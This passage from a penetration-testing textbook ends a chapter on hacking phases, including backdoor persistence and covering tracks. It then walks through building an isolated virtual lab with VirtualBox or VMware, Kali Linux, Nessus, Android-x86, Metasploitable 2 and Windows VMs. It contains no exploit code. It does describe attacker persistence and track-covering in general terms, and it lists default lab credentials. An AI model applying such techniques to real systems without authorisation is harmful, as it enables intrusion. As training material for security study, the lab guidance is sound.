Escalating privileges
Hiding files
Lateral movement

The gaining-access (exploitation) phase can at times be difficult as exploits may work on
one system and not on another. Once an exploit is successful and system access is acquired,
the next phase is to ensure that you have a persistent connection back to the target.

Maintaining access
After exploiting a system, the attacker should usually ensure that they are able to gain
access to the victim's system at any time as long as the system is online. This is done by
creating backdoor access on the target and setting up a persistence reverse or bind
connection between the attacker's machines and the victim's system.

The objectives of maintaining access are as follows:

Lateral movement
Exfiltration of data
Creating backdoor and persistent connections

Maintaining access is important to ensure that you, the penetration tester, always have
access to the target system or network. Once the technical aspect of the penetration test is
completed, it's time to clean up on the network.
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Covering tracks
The last phase is to cover your tracks. This ensures that you do not leave any traces of your
presence on a compromised system. As penetration testers, we would like to be as
undetectable as possible on a target's network, not triggering any alerts while we remove
any residual traces of the actions performed during the penetration test.

Covering tracks ensures that you don't leave any trace of your presence on the network, as
a penetration test is designed to be stealthy and simulate real-world attacks on an
organization.

Summary
During the course of this chapter, we discussed the different types of hackers while
outlining their primary characteristics. The various types of penetration tests and phases
were covered, including an exploration of popular testing methodologies and approaches
used in the cybersecurity industry.

You are now able to compare and contrast the different types of hackers. You have gained
knowledge and understanding of various terms used within the cybersecurity industry,
and you have got to grips with the importance of and different phases of penetration
testing. You are able to distinguish between various types of penetration testing, such as
network, web, and even cloud penetration testing.

In Chapter 2, Setting Up Kali - Part 1, and Chapter 3, Setting Up Kali - Part 2, we will be
covering the steps involved in setting up your own virtual penetration testing lab for
practicing and building your skill set. I hope this chapter has been helpful and informative
for your studies and career.

Questions
What type of hacker depends on instructions and tools created by others but1.
does not understand the technical aspects of hacking?
What is the last phase of hacking?2.
Which penetration testing methodology is used on web applications?3.
What is the approach where the penetration tester has the least knowledge about4.
the target?
What type of hacker is employed by a nation's government?5.
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Further reading
Penetration testing methodologies: https:/ /www. owasp. org/ index. php/
Penetration_ testing_ methodologies

Penetration testing phases: https:/ / www.imperva. com/ learn/ application-
security/ penetration- testing/ 
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Setting Up Kali - Part 1

As a future ethical hacker and/or penetration tester, it is quite important when testing
payloads or practicing hacking skills that you do not disrupt or cause any sort of harm or
damage to other people's computers or network infrastructure, such as that of your
organization. To elaborate further, we'll use a simple analogy. Imagine you work for a
company called ACME (a fictional organization) and you're the network/system
administrator. Your IT director has noticed you express an interest in cybersecurity and
that you have significant potential in becoming a penetration tester or an ethical hacker.
They, therefore, approve official training in penetration testing certification for you. Once
the training has ended, access to the virtual labs through the Authorized Training Centre
(ATC) is usually terminated, which poses a real challenge for you: how are you going to
practice your hacking skills when the training course and lab access has ended? Another
challenge is the fact that practicing hacking techniques on an organization's network is
intrusive and illegal.

This brings us to the importance of building our own personal lab environment for
practicing and improving our skill set. Furthermore, having our own penetration testing lab
will allow us to try new attacks, tools, and techniques without worrying about being
intrusive or creating a security breach in a company network. Most importantly,
throughout this chapter, you will learn about the importance of building and designing a
suitable penetration testing lab for practicing various hacking techniques on Windows and
Linux operating systems.

In this chapter, we will cover the following topics:

Lab overview
Building our lab
Setting up Kali Linux
Installing Nessus
Setting up Android emulators
Installing Metasploitable 2
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Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the
following hardware and software requirements:

Oracle VM VirtualBox
VMware Workstation Pro
Kali Linux 2019.2
Nessus vulnerability scanner
Android operating system (x86 version 4.4-r4)
Metasploitable 2

Lab overview
In this section, we are going to discuss the methodology and components required for
designing and setting up our own penetration testing lab. To build our lab, we are going to
build a virtual lab infrastructure to ensure that we are able to save money, as opposed to
having to buy physical computers and networking equipment.

In the following sections, we will begin our discussion on the importance of using
virtualization in building our penetration testing lab environment, as virtualization plays
an important role throughout this chapter and the remainder of the book. Afterward, we
will dive into installing Kali Linux and creating a virtual network.

Virtualization
In my experience as a student, instructor, and professional, when a person is embarking on
their studies within the field of IT, that individual normally believes that a physical lab
infrastructure is definitely required. To some extent, this is true, but there are many
downsides associated with building a physical lab.

These downsides include, but are by no means limited to, the following:

The physical space required to store the many servers and networking appliances
that are needed.
The power consumption per device will result in an overall high rate of financial
expenditure.
The cost of building/purchasing each physical device, whether it's a network
appliance or a server.
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These are just some of the primary concerns of a student or beginner. In most cases, a
person has a single computer, be it a desktop or laptop machine. The conception of
virtualization, emerging as a response to these downsides, opened a multitude of doors in
IT and enabled many people and organizations to optimize and manage their hardware
resources efficiently.

What is virtualization and how is it helpful? The concept of virtualization within the IT
industry allows organizations to reduce the need for multiple items of physical equipment,
such as servers and networking and security appliances. In the early days of IT, an
operating system such as Microsoft Windows Server would need to be installed on a single
physical device. Usually, a server-like device would consist of a high-end processor for the
CPU, large amounts of RAM, and a lot of storage. However, there would be many times
when the hardware resources (CPU and RAM) would be underutilized by the host
operating system (Microsoft Windows Server). This wastage of resources is commonly
known as server sprawl.

The following diagram shows three physical servers, each with their own host operating
system and hardware resources available:

To quickly view the utilization of your resources on a Microsoft Windows operating
system, simply open Task Manager and select the Performance tab. The following
screenshot is a capture of my current device.
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We can see that CPU, Memory, and other resources are currently underutilized; looking
closely at the CPU and Memory graphs, we can see that they are not over 80%-90%, and
less than 50% of their capacity is being used:

What if we were able to run multiple operating systems (such as Windows and Linux) on a
single physical device? We could definitely utilize virtualization. This would enable us to
better manage and efficiently maximize the resources available, using a component known
as a hypervisor.
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Hypervisors
The hypervisor is the most important component in virtualization. It is responsible for
creating an emulated environment that a guest operating system uses to function. Each
type of operating system, irrespective of whether it is designed for a desktop, server,
network, or mobile device, requires particular hardware components to ensure optimal and
seamless functioning. This is where the hypervisor works its magic to make the impossible
happen, allowing you to run multiple different operating systems on a single computer.

A hypervisor can be installed in one of two ways on a hardware device, which will be
explored in more detail later in the chapter:

It can be installed on top of a host operating system, such as Windows, Linux, or
macOS.
It can be installed directly on top of hardware in order to function as the native
operating system.

A host operating system refers to the operating system that is installed
directly on a device, such as a desktop or a laptop computer running
Windows 10. A guest operating system is an operating system that is
installed within a hypervisor (considered to be virtualized).

Listed here are the types of hypervisors available:

Type 1
Type 2

In the next two sections, we will look at the two types of hypervisors and understand their
similarities and differences.

Type 1 hypervisor
A type 1 hypervisor is sometimes referred to as a bare-metal hypervisor as it is typically
deployed directly onto the hardware of the physical server. In this model, any operating
system that is installed on the hypervisor has direct access to the hardware resources, such
as the CPU, RAM, and Network Interface Card (NIC). This model allows each guest
operating system to interact directly with any hardware component available on the
physical device; therefore, rendering the deployment model more efficient than the type 2
model.
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The following diagram illustrates how each guest operating system (virtual machine)
interacts with the physical hardware components of a single physical server chassis
through the hypervisor. For example, virtual machines have direct access to the physical 
hardware through the hypervisor:

The following is a list of both free and commercial type 1 hypervisors:

VMware ESXi (free)
VMware ESX (commercial)
Microsoft Hyper-V Server (free)
XCP-ng (free/commercial)

Now you have a better understanding of the type 1 hypervisor, let's learn about the type 2
hypervisor.
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Type 2 hypervisor
In a type 2 hypervisor deployment model, the hypervisor application is installed on top of a
host operating system rather than on the hardware components directly. Examples of host 
operating systems include Microsoft Windows, the Apple macOS, and various flavors of
Linux. The hypervisor does not have direct access to the hardware resources on the local
system, as it would in the type 1 deployment model. Instead, the hypervisor in a type 2
deployment interfaces with the host operating system to access whatever resources are
available. The host operating system usually requires a certain amount of resources, such as
CPU and RAM utilization, in order to function optimally, and the remainder is then
provided to the type 2 hypervisor for the guest virtual machines.

The following is a diagram illustrating how each component interfaces with the other on a
single system, such as a desktop or laptop computer. Looking closely, each virtual machine
has indirect access to the resources (CPU, memory, and so on). The operating system will
have priority when it comes to hardware resources, and what is left is then made available
to the running virtual machines:
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The following is a brief list of type 2 hypervisors. Please note that some are free while 
others are commercial:

Microsoft Virtual PC (free)
Oracle VM VirtualBox (free)
VMware Player (free)
VMware Workstation Pro (commercial)
VMware Fusion (commercial)
Parallels Desktop for Mac (commercial)

You may be wondering which hypervisor is the better option—type 1 or type 2? Honestly,
it really depends on your situation. Personally, I have a type 2 hypervisor installed on my
laptop with a few virtual machines, which I use for training and other situations at remote
locations. While at home, I have a type 1 hypervisor installed on an Intel NUC in my home
lab, which has multiple virtual machines, each for a different purpose.

Now that you have a better idea of the concepts of hypervisors, let's learn about the
features of a hypervisor, as that will help us to build a virtual network for creating our
penetration testing lab.

Additional components
In this section, we outline the additional components needed to complete our lab, including
looking at what virtual switches are and the different types of operating systems we are
going to use in the lab.

Virtual switches
You may be wondering, since we are going to create a virtualized lab environment, how we
are going to create a network to ensure that all the various virtual machines have
connectivity with one another. Do we need some network cables, a network switch, or even
other network appliances? Most importantly, we need to ensure that our virtual
environment is isolated from the rest of our existing network and from the internet, as we
do not want to be launching an inadvertent attack on a public server, as this would be
illegal and entail legal complications.
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Fortunately for us, each hypervisor contains a virtual switch, which provides us with a
basic layer 2 switching functionality. Some hypervisors provide virtual LAN (VLAN)
assignments on their virtual switches, while others do not. Since we are proceeding to build
an isolated virtual lab, we'll need a single virtual switch to connect our attacker machine
with the other vulnerable machines.

Operating systems
As a future ethical hacker, penetration tester, or cybersecurity professional, it's
recommended that you test various techniques to simulate real-world attacks on different
types of operating systems. At times, when you are conducting a penetration test or
performing a vulnerability assessment on an organization's network and servers, you will
encounter many different operating systems. We will be using the following operating
systems in our lab environment, and I'll provide a download link for each operating
system:

Windows 10: https:/ /www. microsoft. com/ en- us/evalcenter/ evaluate-
windows- 10- enterprise

Windows Server 2016: https:/ /www. microsoft. com/en- us/ evalcenter/
evaluate- windows- server- 2016

Ubuntu Server: https:/ / www. ubuntu. com/ download/ server

Kali Linux: https:/ /www. kali. org/downloads/ 

Metasploitable: https:/ /sourceforge. net/projects/ metasploitable/ files/
Metasploitable2/ 

OWASPBWA: https:/ / sourceforge. net/ projects/ owaspbwa/ 

Each operating system listed here has a unique purpose in our lab. In the remainder of this
chapter, we will execute various types of attacks on each.
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The Microsoft Evaluation Center (https:/ /www. microsoft. com/ en- us/
evalcenter/ ) allows users to download and test drive any application
and operating system available on their platform for a period of 180 days
while providing full functional support for the application of your choice.

The Open Web Application Security Project (OWASP) (https:/ / www.
owasp. org) has created a virtual machine that allows cybersecurity
professionals to execute various applications with known vulnerabilities;
this is the OWASP Broken Web Applications (OWASPBWA) virtual
machine. Metasploitable is a vulnerable Linux-based virtual machine
created by Rapid7 (https:/ / www. rapid7. com). Its objective is to help
people learn about, and practice, penetration testing in a safe
environment.

In this section, we covered the essentials of virtualization—including the core component,
the hypervisor—and we are now ready to build virtual lab environments to support many
operating systems and use cases. In the next section, we will be looking at putting all the
pieces together and building our lab.

Building our lab
Now it's time to assemble all the components and configure our own penetration testing
lab. We'll need to decide what resources are currently available to us before choosing a type
of hypervisor. If you currently have a single laptop or desktop computer, we'll be using a
type 2 hypervisor, such as Oracle VM VirtualBox or VMware Workstation Pro. As
mentioned previously, a type 2 hypervisor deployment will allow us to use our existing
resources, such as a single laptop or desktop computer, to build our virtual lab
environment, without being concerned about purchasing additional hardware components
such as servers.
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To begin installing our hypervisor, let's download and install Oracle VM VirtualBox:

Go to www.virtualbox.org, then navigate to the Downloads section of the1.
website, and choose your platform type based on your current operating system:
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Once the application has been downloaded, it's time to install it. Be sure to use2.
the default configurations presented during the installation wizard. Once
completed, open VirtualBox to ensure that the installation was successful. You
should be presented with something similar to the following screenshot:

Optionally, if you prefer using VMware Workstation for your lab, it is currently3.
available at https:/ / www. vmware. com/ products/ workstation- pro. html. Once
downloaded, proceed to install the application using the default configuration
during the installation process. Once completed, you should be presented with
the user interface, as shown in the following screenshot:
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If you are using an older version of Oracle VM VirtualBox or VMware
Workstation, you do not need to upgrade, as the previous editions already
contain the features required to continue configuring our lab.

One of the most important things about designing a proper penetration testing lab is
ensuring that we have the optimal network design for interconnecting our virtual
machines. In the next section, we will cover in detail how to create a virtual network using
both Oracle VM VirtualBox and VMware Workstation Pro.

Creating a virtual network
The following diagram shows the general network topology we are going to use in our
virtual lab environment:

In the upcoming section, we will assign an appropriate IP address to each virtual machine
within our lab. Each virtual machine is interconnected using a virtual switch within the
hypervisor. Routers are not required, as this is just a simple lab design.

A Windows Server 2008 machine is optional and is not required.
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Let's see how to build a virtual network:

If you're using VirtualBox, click on the menu icon on the right-hand side of Tools1.
| Network:

A new window will open, giving you the option to Create, Remove, or modify
the properties of a virtual network adapter. In this exercise, we are going to create
a new virtual adapter, which will be used to connect each of our virtual machines
within the hypervisor. This accomplishes the effect of a virtual switch.

Click on Create to add a new virtual adapter:2.
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Your host operating system will take a few minutes to create the new virtual
network adapter on your computer.

Once the virtual network adapter has been created, the network manager3.
component within VirtualBox will automatically assign an IP address to the
interface. However, we are going to configure the IP addressing scheme as per
our preferences. To begin, simply select the virtual network adapter, and then
click on Properties to modify the configurations.
Ensure that you choose the option to configure the adapter manually, using the4.
IP address and subnet mask shown in the following screenshot. Click Apply to
register the configurations on the network adapter:
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Optionally, we can configure the Dynamic Host Configuration Protocol (DHCP)5.
server on the virtual network adapter to provide a range of IP addresses to each 
virtual machine that is connected to this virtual network. If you would like to
enable the DHCP service, please use the following configurations:

For those of you who prefer VMware Workstation, we've got you covered.6.
Configuring a virtual network within VMware Workstation is quite simple. Open
the VMware Workstation application and select Edit | Virtual Network Editor...,
as shown in the following screenshot:
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The User Access Control (UAC) on Windows will prompt you for administrator7.
privileges. Upon providing the authorization, the Virtual Network Editor
window will open. As you can see, there are three virtual network adapters
present:

We are going to modify the VMnet1 virtual adapter. The host-only adapter
creates a virtual network for all connected virtual machines and the host
computer. This type of configuration allows all virtual machines to communicate
seamlessly while isolated and in the absence of an internet connection.

To modify the VMnet1 adapter, select the adapter and adjust your8.
configurations, as shown in the following screenshot:
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These configurations replicate those executed previously within Oracle VM VirtualBox.

Now that we have the knowledge required to build our virtual network using both Oracle
VM VirtualBox and VMware Workstation Pro, let's begin installing virtual machines and
setting up Kali Linux in our lab.

Setting up Kali Linux
Let's set up our first virtual machine, our attacker machine, Kali Linux. The Kali Linux
operating system is a Debian-based Linux platform consisting of over 300 tools for both
penetration testing and forensics. It's one of the most popular platforms used by
penetration testers as it contains many features and considerable functionality, such as the
following:

Full-disk encryption
Support for Linux Unified Key Setup (LUKS) encryption with emergency self-
destruction (Nuke)
Accessibility features
Forensics mode
Live USB with multiple persistence

To get started, Kali Linux can be found at the official website (www.kali.org) and at the
Offensive Security domain (https:/ /www. offensive- security. com/ kali- linux- vm-
vmware-virtualbox- image- download/ ). There are many methods when it comes to setting
up Kali Linux, such as installing from an ISO file and importing a virtual preconfigured
image into a hypervisor. For our setup procedure, we are going to use the latter approach.
Importing the virtual appliance is seamless and takes very little time; it also avoids the
chances of misconfiguration that come with installation using an ISO file.

In my personal experience, setting up Kali Linux using the preconfigured virtual image also
works more efficiently in most situations. To get started, we can take the following steps:

Navigate to https:/ /www. offensive- security. com/ kali- linux- vm- vmware-1.
virtualbox- image- download/  and download either the 32-bit or 64-bit Kali
Linux VMware image, based on your operating system architecture. Choose
either the VMware or the VirtualBox image, based on the vendor of your
hypervisor software:
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Whether you've downloaded the VirtualBox or VMware image, ensure that you2.
unzip the contents. If you've downloaded the VirtualBox image, within the folder
there will be a file with a similar naming convention, as shown in the following
screenshot:

You can right-click on File and choose Open with | VirtualBox Manager:3.
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Next, the Import Virtual Appliance wizard will appear. Simply click on Import.4.
The importing process will take a few minutes to complete:

Once the importing process is complete, you'll see your new virtual machine
available on the VirtualBox dashboard:
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Import Kali Linux into VMware Workstation. Ensure that you've downloaded5.
and unzipped the virtual image folder. The following are the contents of the 
extracted folder. Right-click on the highlighted file shown in the following
screenshot, and choose Open with | VMware Workstation:

VMware Workstation will then open, providing the Import Virtual Machine6.
window. Click on Import:
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This process should take a few minutes to complete. Once complete, the new
virtual machine will be available in your library on VMware Workstation:

The benefit of importing a virtual image over manually installing an operating system
using an ISO image is that all the configuration is done automatically. Configuration would
include creating a virtual hard drive for storage and the assignment of resources, such as a
processor, RAM, and NIC. Importing a virtual image eliminates the chances of any
misconfigurations during the installation phase. Once the importing phase is complete, the
user can subsequently make adjustments to the individual virtual machine, such as
increasing or reducing the resources per virtual machine.

Attaching the virtual network to a virtual machine
At this point, we have created our virtual network adapter and imported Kali Linux into
our hypervisor. It's now time to attach our attacker machine, Kali Linux, to our virtual
network (virtual switch).
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Firstly, I'll guide you through the steps to configuring the hardware resources through
Oracle VM VirtualBox:

Select the Kali Linux virtual machine and click on Settings:1.

Once the settings window has opened, select the Network option. Here, you'll be2.
able to enable/disable network adapters on the current virtual machine. Select the
Host-only Adapter option, and the virtual network adapter will be automatically
selected underneath:
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Next, we are going to make the same adjustments on VMware Workstation.3.
Firstly, click on Edit virtual machine settings on the Kali Linux virtual machine:

The Virtual Machine Settings window will open. Here, you can customize the 
settings on any hardware component within the hypervisor menu.

Select Network Adapter, and then choose Custom: Specific virtual network |4.
VMnet1 (Host-only):
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Remember that the VMnet1 adapter has our custom IP scheme.

We can power on our Kali Linux virtual machine to ensure that it is working5.
properly. The default username/password for Kali Linux is root/toor.
Once you've successfully logged in, you'll have access to the desktop:6.

Now we have a clear understanding of how to set up a virtual machine within Oracle VM
VirtualBox and VMware Workstation, and how to configure a virtual network within each
hypervisor application. Let's move on to setting up additional applications and other types
of virtual machines within our lab.

Installing Nessus
When you get into the field of penetration testing and vulnerability assessment, one tool
you must be familiar with using is Nessus. Nessus is one of the most popular vulnerability
assessment tools available on the market. The Nessus application is controlled using a web
interface that allows its users to create customized scans. Additionally, Nessus contains
prebuilt scanning templates for various types of industries, such as the Payment Card
Industry (PCI) compliance scanner.

Tenable, the creator of Nessus, has indicated that Nessus is capable of detecting over 47,000
common vulnerabilities and exposures (CVE). As a future ethical hacker/penetration
tester, using Nessus during your security auditing phase will aid you significantly in
discovering security vulnerabilities quickly.
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Nessus is supported on many platforms, such as Windows and Kali Linux. The Nessus
Home edition is free for personal use, and is capable of scanning up to 16 IP addresses per
scan. To get the Nessus Home edition, simply go to https:/ /www. tenable. com/products/
nessus-home and complete the registration form in order to obtain an activation license.
After registration, you'll be redirected to the download center, where you can choose a
suitable version for your platform:

If you're installing Nessus on a Windows operating system, the procedure is quite simple.
Download the Windows executable file, and run it.

However, to install Nessus on Kali Linux, follow these steps:

Open Terminal and run the following commands to upgrade all currently1.
installed applications on the platform:

apt-get update && apt-get upgrade

Obtain an activation code from Tenable by completing the registration form at2.
https:// www. tenable. com/ products/ nessus/ nessus- essentials.

Navigate to the Nessus Downloads page at https:/ /www. tenable. com/3.
downloads/ nessus and download either the 32-bit or the 64-bit version, based on
your operating system architecture:
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Once Nessus has been downloaded on Kali Linux, open Terminal, change the4.
directory to the Downloads folder, and begin installation using the following
command:

 dpkg -i Nessus-8.3.1-debian6_amd64.deb

The output of running the preceding command is as follows:
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Once the installation is complete, use the following command to start the Nessus5.
service on Kali Linux:

 /etc/init.d/nessusd start

Optionally, if you would like the Nessus service to start automatically during the
Kali Linux boot process, the following command can be used to enable this
feature:

update-rc.d nessusd enable

Once the installation has been completed on Kali Linux, enter6.
https://localhost:8834/ into your web browser. At this point, you'll be
prompted to create a user account:
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Next, you'll be prompted to enter your Nessus license to activate the product.7.
You'll need the activation code from step 2 to complete this stage:

After completing the activation phase, Nessus will attempt to connect to the8.
internet to download additional resources. This process should take a few
minutes to complete:
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Once you're logged in, your user dashboard will be available. Here, you can9.
create new scans and templates and modify existing resources as per your
preferences:

During the course of this book, we'll be exploring the capabilities of Nessus during our
penetration testing phases.

Having completed this section, you are now able to install and set up the Nessus
vulnerability scanner on Kali Linux. In the next section, you will learn how to install
Android as a virtual machine within your lab environment.

Setting up Android emulators
Being a penetration tester and/or ethical hacker, you'll encounter a lot of different types of
targets and operating systems in the field. One type of operating system that has made its
way into the field of cybersecurity is the mobile platform Android. In this section, we will
discover how to set up the Android operating system version 4.4 as a virtual machine that
will be part of your penetration testing lab environment.

Note that www.osboxes.org has a repository of virtual images of almost every type of
operating system, including desktop, server, and even mobile operating systems. This
website allows you to download a virtual image of your choice and simply load it
seamlessly into a hypervisor, such as Oracle VM VirtualBox or VMware Workstation.
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Let's learn how to create a virtual Android machine within your penetration testing lab:

Firstly, go to https:/ /www. osboxes. org/ android- x86/  to download the Android1.
mobile operating system for your lab.
Search for the Android-x86 4.4-r4 version and download either the VirtualBox or2.
the VMware virtual image for your hypervisor:

Once the file has been downloaded onto your desktop computer, extract the3.
zipped folder to view the contents.
Next, right-click on the .ovf file and choose the Open with option, then select4.
the VMware or VirtualBox options, as shown in the following screenshot:
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The import wizard will appear. Select Import to begin the process:5.

The importing process takes a few minutes to complete and the new Android
virtual machine will appear in your hypervisor library.

I have chosen to use the following configuration on my Android virtual machine.6.
However, you have the option to either increase or decrease the resources on
your virtual machine as you see fit. Ensure that the virtual network adapter is
assigned to Custom (VMnet1), as shown in the following screenshot:
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After booting your Android virtual machine, you'll be presented with an7.
interface once it's fully loaded. The full functionality of Android 4.4 is available
within your virtual machine.

Once the Android virtual machine is powered on, it acts as a real, physical Android device
on your lab network. This simulates an environment that not only has typical operating
systems, such as Windows and Linux, but also mobile platforms, such as Android. Now
that you have a virtual Android machine within your lab, let's take a look at setting up a
vulnerable Linux-based virtual machine in the next section.

Installing Metasploitable 2
As mentioned previously, the Metasploitable virtual machine was created by the team at 
Rapid7 (www.rapid7.com) for the purpose of cybersecurity awareness and training. In this
section, I'll walk you through the steps involved in setting up a Metasploitable virtual
machine in your lab:

Firstly, you need to download the virtual image file from https:/ /sourceforge.1.
net/projects/ metasploitable/ files/ Metasploitable2/ . Once downloaded to
your computer, extract the ZIP folder to view the contents.
Next, right-click on the following highlighted file, and either choose the option to2.
import or open with a hypervisor of your choice:
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Once the importing process has finished, the new virtual machine will appear in3.
your library in the hypervisor (VirtualBox or VMware). Ensure that the network
adapter is set to Custom (VMnet1), just like the virtual network for our lab is:

To test the virtual machine, power it on, and let it boot. Once the boot process is4.
complete, you'll see that the login credentials (username/password) are part of
the system banner, msfadmin/msfadmin:

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Setting Up Kali - Part 1 Chapter 2

[ 64 ]

Log in to the virtual machine using the credentials, and use the ifconfig5.
command to verify that it has a valid IP address:

For each virtual machine, ensure that you have taken a record of the IP
addresses. The IP addresses I'll be using during the remaining chapters of
the book may be a bit different to yours, but the operating systems and
virtual machine configurations will be the same.

You now have a vulnerable Linux-based operating system in your lab. It's always
recommended to have a mixture of various target operating systems in a lab when
practicing penetration testing techniques and honing your skills. This method allows you to
learn how to perform attacks on a variety of different targets, which is important since a
corporate network usually has a blend of many different devices and operating systems.
You don't want to be in a penetration test engagement where the target organization has
mostly Linux devices but you're skills are geared toward only Windows-based systems; this
would be a bad sign for you as a penetration tester! Therefore, emulating a corporate
network in a lab as closely as possible will help you to improve your skills.
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Summary
In this chapter, we opened with a discussion of the importance of having our own isolated
lab environment for practicing offensive security training. We delved into the concepts of
virtualization and looked at how it's going to help us now and in the future. Later in the
chapter, we covered configuring a virtual network on both Oracle VM VirtualBox and
VMware Workstation, as these networks will be used to interconnect all of our virtual
machines (our attacker and victim machines). We then walked through deploying Kali
Linux and Android to our penetration testing lab.

Now that we have a fundamental understanding of designing and building our lab
environment, let's continue deploying both Windows and Linux-based operating systems
in our next chapter.

Questions
Which type of hypervisor is installed on top of a host operating system?1.
What are some of the benefits of virtualization?2.
What are some examples of free hypervisors?3.
How is an offline package/application installed in Kali Linux?4.
What is an operating system within a hypervisor usually called?5.

Further reading
The following links are recommended for additional reading:

Kali Linux documentation: https:/ /docs. kali. org/ 

Nessus user guide: https:/ /docs. tenable. com/ Nessus. htm

Virtualization: https:/ / www. networkworld. com/ article/ 3234795/ what- is-
virtualization- definition- virtual- machine- hypervisor. html
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3
Setting Up Kali - Part 2

In the previous chapter, we started building our very own penetration testing lab.
However, a lab environment is not complete without the installation of two of the most
popular operating systems: Microsoft Windows and Ubuntu. As a penetration tester, it's
always recommended to practice your skills on both Windows and Linux environments,
since both are used in corporate environments by end users, such as employees and
executive staff members, on a daily basis. Usually, system administrators don't always
install the latest security updates on their employees' systems, which leaves the computers
vulnerable to the latest cyber threats. A penetration tester should learn how to perform
various attacks on Windows and Linux.

The following topics will be covered in this chapter:

Installing Windows as a virtual machine (VM)
Installing Ubuntu 8.10
Troubleshooting Kali Linux

Technical requirements
The following are the technical requirements for this chapter:

Oracle VM VirtualBox or VMware Workstation Pro
Microsoft Windows 10
Microsoft Windows Server 2016
Ubuntu Desktop
Ubuntu Server
Kali Linux

Technet24
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Installing Windows as a VM
Since more organizations use the Windows operating system as the main operating system
for their employees' workstation/desktop, you need to understand how to perform a
penetration test on the Windows platform.

One of the benefits offered by Microsoft is the 90-day trial of their operating systems
through the Microsoft Evaluation Center. In this section, I'll demonstrate how to set up a
Windows VM in our penetration testing lab:

First, you'll need to download the ISO image of Windows 10 and Windows1.
Server 2016 using the following URLs:

Windows 10: https:/ /www.microsoft. com/ en- us/evalcenter/
evaluate- windows- 10-enterprise

Windows Server 2016: https:/ /www. microsoft. com/en- us/
evalcenter/ evaluate- windows- server- 2016

The installation procedures for Windows Desktop and Windows
Server are the same.

Once the ISO file has been downloaded successfully, open your hypervisor and2.
choose New Virtual Machine:
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If you're using VMware, the New Virtual Machine Wizard will prompt you to3.
continue your setup in either the Typical (recommended) or Custom (advanced)
mode. For this exercise, I have chosen the typical option as it comprises a few
simple steps:
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Next, choose the Installer disc image file (iso): option to add the ISO file by 4.
clicking on Browse. Once the file has been added successfully, click on Next to
continue:

VMware will present a custom window, allowing you to insert the product key5.
(obtained from the Microsoft Evaluation Center during the registration phase)
and create an administrator account during the installation phase. Simply
complete the details, use the dropdown box to select the version of the operating
system you are about to install, and click on Next:

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Setting Up Kali - Part 2 Chapter 3

[ 70 ]

Next, you'll have the option to name the VM and choose a location to store its6.
configurations. This step can be left as the default setting:
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Next, you'll have the option to create a new virtual hard disk for the Windows7.
VM. I have chosen its size to be 100 GB and to split its files into multiple pieces
for easier portability:

You can choose any size for the hard disk, as long as it's the recommended
size or above. The system requirements can be found at https:/ / docs.
microsoft. com/ en- us/ windows- server/ get- started/ system-
requirements.

The final window will show you a summary of the configurations. You can8.
customize the hardware resources by clicking on the Customize
Hardware... option:
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Upon clicking Finish, the Windows 10/Server 2016 VM will appear in your9.
library. You can also modify the hardware configurations when the VM is
powered off.
Now, it's time to power on the Windows VM. Ensure that you choose your10.
corresponding language, time, and keyboard format.
Choose the Install now option to begin the installation phase.11.
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Choose the version of Windows you'd like to install. If you're using Windows12.
Server 2016, use the Datacenter edition. If you're using Windows 10, choose the
Enterprise edition:

Next, you'll need to read and accept the End User License Agreement (EULA),13.
followed by the type of installation on the virtual hard disk drive (HDD). Since
it's a new installation, select the Custom: Install Windows only
(advanced) option, as shown in the following screenshot:
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Select the virtual HDD as the installation destination, as shown in14.
the following screenshot, and click Next to continue:

The installation process may take a while, depending on the amount of CPU and15.
RAM resources that have been allocated to the VM.

Once this process has been completed, Windows will present a login window to you.

Now that we have installed a Windows VM, we will look at how to create additional user
accounts on Microsoft Windows.

Creating a user account
In this section, I'll guide you through creating a user account on Windows:

Firstly, you need to access the Control Panel and click on the User1.
Accounts option.
You'll see all the local user accounts on your system. Select Manage another2.
account.
Next, click on Add a user account.3.
Windows 10/Server 2016 will provide you with a window asking for various4.
details such as username, password, and a hint (to help you remember your
password) so that you can create a new user account on the local system.

Now that you have the knowledge to create new user accounts, we will look at disabling
automatic updates on Microsoft Windows Server.
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Opting out of automatic updates
Vendors deliver updates to their software products and operating systems for many
reasons, such as adding new features, improving performance, and fixing issues such as
security bugs and crashes. Disabling automatic updates on Windows will ensure that your
operating system maintains the same level of security that was established at installation
while you practice in your lab.

Using Windows 10 and Windows Server 2016, Microsoft has removed the function of
disabling Windows Update from the Control Panel. In this section, I'll demonstrate how to
disable the Windows Update function within Windows Server 2016:

Firstly, open Command Prompt and enter sconfig, as shown in the following1.
screenshot:

The following screen will appear. Use option 5 to access Windows Update2.
Settings:
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The interactive menu will ask how you would like Windows to handle the 3.
checking and installation of updates—(A)utomatic, (D)ownloadOnly, or
(M)anual. We will choose the Manual option:

Windows will then provide confirmation of our selection. Manual ensures that Windows
does not check for any updates without our permission.

Now that you can disable automatic updates, let's take a look at setting a static IP address
on your Windows VM.

Setting a static IP address
It's quite important to set static IP addresses on network resources and appliances. A static
IP address will ensure that the IP address does not change and, therefore, that users on the
network will always be able to access the resources/server once network connectivity is
established.
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Having a server within an organization or within our lab will definitely require an address
that does not change. To do this, follow these steps:

To begin, log on to your Windows Server 2016 and click the Windows icon in the1.
bottom-left corner to view the Start menu. Click on Server Manager, as shown in
the following screenshot:

Server Manager is a single dashboard that allows a server administrator to2.
control, manage, and monitor Windows Server using a graphical user interface
(GUI). On the left-hand side of the window, select Local Server, and then click
the Ethernet0 section, as shown in the following screenshot:

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Setting Up Kali - Part 2 Chapter 3

[ 78 ]

The Network Connections window will open, displaying all the network3.
adapters that are available on your virtual Windows Server 2016 machine. To
add a static IP address to a network adapter, simply right-click on the adapter
and select Properties, as shown in the following screenshot:
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Select Internet Protocol Version 4 (TCP/IPv4) | Properties, as shown in the4.
following screenshot:

Now, you'll have the option to assign a static IP address, subnet mask, and5.
default gateway, as well as Domain Name Server (DNS) configurations:
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Please ensure that your IP address configurations are within the same subnet as your
DHCP server (of your hypervisor) and the other VMs. Your IP address should be between
10.10.10.2 and 10.10.10.254, the subnet mask should be 255.255.255.0, and the
default gateway should be 10.10.10.1 for each of the VMs in your lab.

Now that you are able to configure static IP addresses for Windows, let's look at how to
add additional network interfaces.

Adding additional interfaces
At times, having an additional network interface card (NIC) can be useful in many ways,
such as ensuring network redundancy and even enabling NIC Teaming, which combines
more than one NIC into one logical interface for combined throughput.
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Let's add an additional NIC to a VM:

